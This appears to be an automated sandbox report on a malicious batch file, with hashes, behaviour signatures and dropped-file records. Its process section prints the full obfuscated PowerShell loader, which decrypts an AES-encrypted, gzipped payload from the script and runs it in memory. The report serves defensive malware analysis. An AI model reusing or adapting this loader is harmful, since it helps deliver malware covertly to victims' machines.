Overview

overview

7

Static

static

1

mal_system32.bat

windows7-x64

7

mal_system32.bat

windows10-2004-x64

7

Analysis

  • max time kernel
    90s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/02/2023, 20:53

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    mal_system32.bat

  • Size

    42KB

  • MD5

    e04749b482f8553ca2447908985a58c2

  • SHA1

    392a0876c7da6a322ae49d08036c5307c30ff506

  • SHA256

    3bbb6ef8a421ddc67f3fac409a9b6db12985f3dbd3e021e827323dbf12f1dd72

  • SHA512

    28fbcfb611906030b392d6df7cc84261ba54c50971515f9d3c52b103930f4a660a13f9b5f25f3722fc9837e85d14bab48f76e533720da506e65add9248a20da5

  • SSDEEP

    768:iIQ2T2z5oo0KfzTUCcrf4RGYfXrX5+0Sk5MqE4qoJibB:nQP0KTUCaAR9z+oWB

Score
7/10

Malware Config

Signatures

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mal_system32.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Users\Admin\AppData\Local\Temp\mal_system32.bat.exe
      "mal_system32.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $zQwRM = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\mal_system32.bat').Split([Environment]::NewLine);foreach ($OdFFU in $zQwRM) { if ($OdFFU.StartsWith(':: ')) { $uGBBl = $OdFFU.Substring(3); break; }; };$RNEcR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($uGBBl);$Luxkv = New-Object System.Security.Cryptography.AesManaged;$Luxkv.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Luxkv.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Luxkv.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cpRJRjmX+dQozGYRUYlw6+rZYr1ds71QG9Gr+iNdnb0=');$Luxkv.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nbh/6SYQqIqqlnYv9GZTew==');$IaQgR = $Luxkv.CreateDecryptor();$RNEcR = $IaQgR.TransformFinalBlock($RNEcR, 0, $RNEcR.Length);$IaQgR.Dispose();$Luxkv.Dispose();$UQoIh = New-Object System.IO.MemoryStream(, $RNEcR);$RZpSQ = New-Object System.IO.MemoryStream;$yQYkB = New-Object System.IO.Compression.GZipStream($UQoIh, [IO.Compression.CompressionMode]::Decompress);$yQYkB.CopyTo($RZpSQ);$yQYkB.Dispose();$UQoIh.Dispose();$RZpSQ.Dispose();$RNEcR = $RZpSQ.ToArray();$RnWAm = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($RNEcR);$pVHiB = $RnWAm.EntryPoint;$pVHiB.Invoke($null, (, [string[]] ('')))
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1256

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\mal_system32.bat.exe
          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\mal_system32.bat.exe
          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

          Download Submit

        • memory/1256-134-0x000001A03F3A0000-0x000001A03F3C2000-memory.dmp

          Filesize

          136KB

          Download

        • memory/1256-136-0x00007FFB80490000-0x00007FFB80F51000-memory.dmp

          Filesize

          10.8MB

          Download

        • memory/1256-137-0x00007FFB80490000-0x00007FFB80F51000-memory.dmp

          Filesize

          10.8MB

          Download